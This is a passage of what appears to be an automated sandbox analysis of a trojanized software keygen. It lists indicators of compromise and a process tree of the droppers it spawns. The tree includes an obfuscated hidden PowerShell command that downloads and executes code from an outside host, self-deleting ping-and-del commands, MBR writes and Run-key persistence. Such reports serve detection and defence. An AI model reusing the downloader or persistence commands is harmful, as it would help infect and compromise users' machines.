70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 Setup.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 file.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e file.exe -
Runs .reg file with regedit 2 IoCs
pid Process 7036 regedit.exe 6172 regedit.exe -
Runs ping.exe 1 TTPs 6 IoCs
pid Process 7004 PING.EXE 2180 PING.EXE 3124 PING.EXE 4436 PING.EXE 4760 PING.EXE 5396 PING.EXE -
Script User-Agent 5 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 83 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 86 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 165 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 323 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 369 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4004 key.exe 4004 key.exe 4120 1614540980659.exe 4120 1614540980659.exe 3620 file.exe 3620 file.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4572 1614540985878.exe 4572 1614540985878.exe 3620 file.exe 3620 file.exe 3620 file.exe 3620 file.exe 3620 file.exe 3620 file.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4344 B7DC.tmp.exe 4344 B7DC.tmp.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe 4448 multitimer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2116 msiexec.exe Token: SeIncreaseQuotaPrivilege 2116 msiexec.exe Token: SeSecurityPrivilege 2724 msiexec.exe Token: SeCreateTokenPrivilege 2116 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2116 msiexec.exe Token: SeLockMemoryPrivilege 2116 msiexec.exe Token: SeIncreaseQuotaPrivilege 2116 msiexec.exe Token: SeMachineAccountPrivilege 2116 msiexec.exe Token: SeTcbPrivilege 2116 msiexec.exe Token: SeSecurityPrivilege 2116 msiexec.exe Token: SeTakeOwnershipPrivilege 2116 msiexec.exe Token: SeLoadDriverPrivilege 2116 msiexec.exe Token: SeSystemProfilePrivilege 2116 msiexec.exe Token: SeSystemtimePrivilege 2116 msiexec.exe Token: SeProfSingleProcessPrivilege 2116 msiexec.exe Token: SeIncBasePriorityPrivilege 2116 msiexec.exe Token: SeCreatePagefilePrivilege 2116 msiexec.exe Token: SeCreatePermanentPrivilege 2116 msiexec.exe Token: SeBackupPrivilege 2116 msiexec.exe Token: SeRestorePrivilege 2116 msiexec.exe Token: SeShutdownPrivilege 2116 msiexec.exe Token: SeDebugPrivilege 2116 msiexec.exe Token: SeAuditPrivilege 2116 msiexec.exe Token: SeSystemEnvironmentPrivilege 2116 msiexec.exe Token: SeChangeNotifyPrivilege 2116 msiexec.exe Token: SeRemoteShutdownPrivilege 2116 msiexec.exe Token: SeUndockPrivilege 2116 msiexec.exe Token: SeSyncAgentPrivilege 2116 msiexec.exe Token: SeEnableDelegationPrivilege 2116 msiexec.exe Token: SeManageVolumePrivilege 2116 msiexec.exe Token: SeImpersonatePrivilege 2116 msiexec.exe Token: SeCreateGlobalPrivilege 2116 msiexec.exe Token: SeCreateTokenPrivilege 2116 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2116 msiexec.exe Token: SeLockMemoryPrivilege 2116 msiexec.exe Token: SeIncreaseQuotaPrivilege 2116 msiexec.exe Token: SeMachineAccountPrivilege 2116 msiexec.exe Token: SeTcbPrivilege 2116 msiexec.exe Token: SeSecurityPrivilege 2116 msiexec.exe Token: SeTakeOwnershipPrivilege 2116 msiexec.exe Token: SeLoadDriverPrivilege 2116 msiexec.exe Token: SeSystemProfilePrivilege 2116 msiexec.exe Token: SeSystemtimePrivilege 2116 msiexec.exe Token: SeProfSingleProcessPrivilege 2116 msiexec.exe Token: SeIncBasePriorityPrivilege 2116 msiexec.exe Token: SeCreatePagefilePrivilege 2116 msiexec.exe Token: SeCreatePermanentPrivilege 2116 msiexec.exe Token: SeBackupPrivilege 2116 msiexec.exe Token: SeRestorePrivilege 2116 msiexec.exe Token: SeShutdownPrivilege 2116 msiexec.exe Token: SeDebugPrivilege 2116 msiexec.exe Token: SeAuditPrivilege 2116 msiexec.exe Token: SeSystemEnvironmentPrivilege 2116 msiexec.exe Token: SeChangeNotifyPrivilege 2116 msiexec.exe Token: SeRemoteShutdownPrivilege 2116 msiexec.exe Token: SeUndockPrivilege 2116 msiexec.exe Token: SeSyncAgentPrivilege 2116 msiexec.exe Token: SeEnableDelegationPrivilege 2116 msiexec.exe Token: SeManageVolumePrivilege 2116 msiexec.exe Token: SeImpersonatePrivilege 2116 msiexec.exe Token: SeCreateGlobalPrivilege 2116 msiexec.exe Token: SeCreateTokenPrivilege 2116 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2116 msiexec.exe Token: SeLockMemoryPrivilege 2116 msiexec.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 2116 msiexec.exe 4408 Setup3310.tmp 4392 setup_10.2_us3.tmp 4892 chashepro3.tmp -
Suspicious use of SetWindowsHookEx 24 IoCs
pid Process 2064 Setup.exe 2184 26FF190E7AE0F7C7.exe 2228 26FF190E7AE0F7C7.exe 2168 firefox.exe 4120 1614540980659.exe 4560 firefox.exe 4572 1614540985878.exe 1532 r2jpjl0jq5k.exe 2340 safebits.exe 1740 vict.exe 4196 r2jpjl0jq5k.tmp 3056 Setup3310.exe 4308 setup_10.2_us3.exe 2236 firefox.exe 4480 1614540991644.exe 4600 vict.tmp 4388 chashepro3.exe 4408 Setup3310.tmp 4392 setup_10.2_us3.tmp 4204 vpn.exe 1292 IBInstaller_97039.exe 4892 chashepro3.tmp 4940 IBInstaller_97039.tmp 4932 vpn.tmp -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3636 wrote to memory of 192 3636 [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe 78 PID 3636 wrote to memory of 192 3636 [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe 78 PID 3636 wrote to memory of 192 3636 [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe 78 PID 192 wrote to memory of 3944 192 cmd.exe 81 PID 192 wrote to memory of 3944 192 cmd.exe 81 PID 192 wrote to memory of 3944 192 cmd.exe 81 PID 192 wrote to memory of 2776 192 cmd.exe 82 PID 192 wrote to memory of 2776 192 cmd.exe 82 PID 192 wrote to memory of 2776 192 cmd.exe 82 PID 192 wrote to memory of 1308 192 cmd.exe 83 PID 192 wrote to memory of 1308 192 cmd.exe 83 PID 192 wrote to memory of 1308 192 cmd.exe 83 PID 192 wrote to memory of 2328 192 cmd.exe 84 PID 192 wrote to memory of 2328 192 cmd.exe 84 PID 192 wrote to memory of 2328 192 cmd.exe 84 PID 3944 wrote to memory of 4004 3944 keygen-pr.exe 85 PID 3944 wrote to memory of 4004 3944 keygen-pr.exe 85 PID 3944 wrote to memory of 4004 3944 keygen-pr.exe 85 PID 2328 wrote to memory of 2064 2328 keygen-step-4.exe 86 PID 2328 wrote to memory of 2064 2328 keygen-step-4.exe 86 PID 2328 wrote to memory of 2064 2328 keygen-step-4.exe 86 PID 1308 wrote to memory of 3920 1308 keygen-step-3.exe 87 PID 1308 wrote to memory of 3920 1308 keygen-step-3.exe 87 PID 1308 wrote to memory of 3920 1308 keygen-step-3.exe 87 PID 4004 wrote to memory of 3980 4004 key.exe 88 PID 4004 wrote to memory of 3980 4004 key.exe 88 PID 4004 wrote to memory of 3980 4004 key.exe 88 PID 4004 wrote to memory of 3980 4004 key.exe 88 PID 4004 wrote to memory of 3980 4004 key.exe 88 PID 4004 wrote to memory of 3980 4004 key.exe 88 PID 4004 wrote to memory of 3980 4004 key.exe 88 PID 4004 wrote to memory of 3980 4004 key.exe 88 PID 4004 wrote to memory of 3980 4004 key.exe 88 PID 4004 wrote to memory of 3980 4004 key.exe 88 PID 4004 wrote to memory of 3980 4004 key.exe 88 PID 4004 wrote to memory of 3980 4004 key.exe 88 PID 4004 wrote to memory of 3980 4004 key.exe 88 PID 4004 wrote to memory of 3980 4004 key.exe 88 PID 4004 wrote to memory of 3980 4004 key.exe 88 PID 3920 wrote to memory of 2180 3920 cmd.exe 91 PID 3920 wrote to memory of 2180 3920 cmd.exe 91 PID 3920 wrote to memory of 2180 3920 cmd.exe 91 PID 2064 wrote to memory of 2116 2064 Setup.exe 94 PID 2064 wrote to memory of 2116 2064 Setup.exe 94 PID 2064 wrote to memory of 2116 2064 Setup.exe 94 PID 2724 wrote to memory of 3116 2724 msiexec.exe 96 PID 2724 wrote to memory of 3116 2724 msiexec.exe 96 PID 2724 wrote to memory of 3116 2724 msiexec.exe 96 PID 2064 wrote to memory of 2184 2064 Setup.exe 97 PID 2064 wrote to memory of 2184 2064 Setup.exe 97 PID 2064 wrote to memory of 2184 2064 Setup.exe 97 PID 2064 wrote to memory of 2228 2064 Setup.exe 98 PID 2064 wrote to memory of 2228 2064 Setup.exe 98 PID 2064 wrote to memory of 2228 2064 Setup.exe 98 PID 2064 wrote to memory of 2916 2064 Setup.exe 99 PID 2064 wrote to memory of 2916 2064 Setup.exe 99 PID 2064 wrote to memory of 2916 2064 Setup.exe 99 PID 2328 wrote to memory of 1336 2328 keygen-step-4.exe 101 PID 2328 wrote to memory of 1336 2328 keygen-step-4.exe 101 PID 2916 wrote to memory of 3124 2916 cmd.exe 102 PID 2916 wrote to memory of 3124 2916 cmd.exe 102 PID 2916 wrote to memory of 3124 2916 cmd.exe 102 PID 1336 wrote to memory of 2496 1336 Install.exe 103 PID 1336 wrote to memory of 2496 1336 Install.exe 103
Processes
-
C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3636 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:192 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3944 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4004 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵
- Executes dropped EXE
PID:3980
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
PID:2776
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1308 -
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:3920 -
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
PID:2180
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2328 -
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2064 -
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"5⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2116
-
-
C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exeC:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 0011 installp15⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
PID:2184 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
PID:2168
-
-
C:\Users\Admin\AppData\Roaming\1614540980659.exe"C:\Users\Admin\AppData\Roaming\1614540980659.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614540980659.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4120
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
PID:4560
-
-
C:\Users\Admin\AppData\Roaming\1614540985878.exe"C:\Users\Admin\AppData\Roaming\1614540985878.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614540985878.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4572
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
PID:2236
-
-
C:\Users\Admin\AppData\Roaming\1614540991644.exe"C:\Users\Admin\AppData\Roaming\1614540991644.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614540991644.txt"6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4480
-
-
C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exeC:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"6⤵PID:5428
-
-
C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP6⤵PID:5812
-
-
C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exeC:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe /silent6⤵PID:4612
-
C:\Users\Admin\AppData\Local\Temp\is-H84G4.tmp\23E04C4F32EF2158.tmp"C:\Users\Admin\AppData\Local\Temp\is-H84G4.tmp\23E04C4F32EF2158.tmp" /SL5="$104AC,746887,121344,C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe" /silent7⤵PID:4236
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/14Zhe7"8⤵PID:6344
-
-
C:\Program Files (x86)\DTS\seed.sfx.exe"C:\Program Files (x86)\DTS\seed.sfx.exe" -pX7mdks39WE0 -s18⤵PID:6336
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exe"C:\Program Files (x86)\Seed Trade\Seed\seed.exe"9⤵PID:6572
-
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exe"C:\Program Files (x86)\Seed Trade\Seed\seed.exe"9⤵PID:6704
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"6⤵PID:6848
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
PID:7004
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exeC:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 200 installp15⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
PID:2228 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:3008
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:3364
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"6⤵PID:4256
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
PID:4436
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"5⤵
- Suspicious use of WriteProcessMemory
PID:2916 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 36⤵
- Runs ping.exe
PID:3124
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Users\Admin\AppData\Local\Temp\S8AEA6P52S\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\S8AEA6P52S\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:2496 -
C:\Users\Admin\AppData\Local\Temp\S8AEA6P52S\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\S8AEA6P52S\multitimer.exe" 1 3.1614537170.603be1d2625af 1016⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4300 -
C:\Users\Admin\AppData\Local\Temp\S8AEA6P52S\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\S8AEA6P52S\multitimer.exe" 2 3.1614537170.603be1d2625af7⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4448 -
C:\Users\Admin\AppData\Local\Temp\23mypanrwqg\safebits.exe"C:\Users\Admin\AppData\Local\Temp\23mypanrwqg\safebits.exe" /S /pubid=1 /subid=4518⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2340 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 6409⤵
- Program crash
PID:4108
-
-
-
C:\Users\Admin\AppData\Local\Temp\bacw0iwzbhp\r2jpjl0jq5k.exe"C:\Users\Admin\AppData\Local\Temp\bacw0iwzbhp\r2jpjl0jq5k.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1532 -
C:\Users\Admin\AppData\Local\Temp\is-V3SPF.tmp\r2jpjl0jq5k.tmp"C:\Users\Admin\AppData\Local\Temp\is-V3SPF.tmp\r2jpjl0jq5k.tmp" /SL5="$30136,870426,780800,C:\Users\Admin\AppData\Local\Temp\bacw0iwzbhp\r2jpjl0jq5k.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:4196 -
C:\Users\Admin\AppData\Local\Temp\is-846JI.tmp\winlthst.exe"C:\Users\Admin\AppData\Local\Temp\is-846JI.tmp\winlthst.exe" test1 test110⤵PID:5644
-
C:\Users\Admin\AppData\Local\Temp\X3ENWxIug.exe"C:\Users\Admin\AppData\Local\Temp\X3ENWxIug.exe"11⤵PID:4628
-
C:\Users\Admin\AppData\Local\Temp\X3ENWxIug.exe"C:\Users\Admin\AppData\Local\Temp\X3ENWxIug.exe"12⤵PID:4024
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵PID:6708
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵PID:4180
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\s22hwprxfye\vict.exe"C:\Users\Admin\AppData\Local\Temp\s22hwprxfye\vict.exe" /VERYSILENT /id=5358⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1740 -
C:\Users\Admin\AppData\Local\Temp\is-8ERI8.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-8ERI8.tmp\vict.tmp" /SL5="$301FE,870426,780800,C:\Users\Admin\AppData\Local\Temp\s22hwprxfye\vict.exe" /VERYSILENT /id=5359⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:4600 -
C:\Users\Admin\AppData\Local\Temp\is-HE1FB.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-HE1FB.tmp\wimapi.exe" 53510⤵PID:2400
-
C:\Users\Admin\AppData\Local\Temp\aeAbqGwVD.exe"C:\Users\Admin\AppData\Local\Temp\aeAbqGwVD.exe"11⤵PID:5264
-
C:\Users\Admin\AppData\Local\Temp\aeAbqGwVD.exe"C:\Users\Admin\AppData\Local\Temp\aeAbqGwVD.exe"12⤵PID:5228
-
C:\Users\Admin\AppData\Local\Temp\1614541064306.exe"C:\Users\Admin\AppData\Local\Temp\1614541064306.exe"13⤵PID:3952
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe14⤵PID:5436
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵PID:6424
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵PID:6244
-
-
-
-
-
-
